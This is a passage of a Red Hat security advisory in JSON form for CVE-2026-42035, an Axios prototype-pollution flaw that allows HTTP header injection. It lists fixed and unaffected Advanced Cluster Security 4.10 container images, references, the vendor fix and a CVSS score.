"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461606"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application\u0027s core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Arbitrary HTTP header injection via prototype pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "RHBZ#2461606",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461606"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
}
],
"release_date": "2026-04-24T17:38:07.752000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
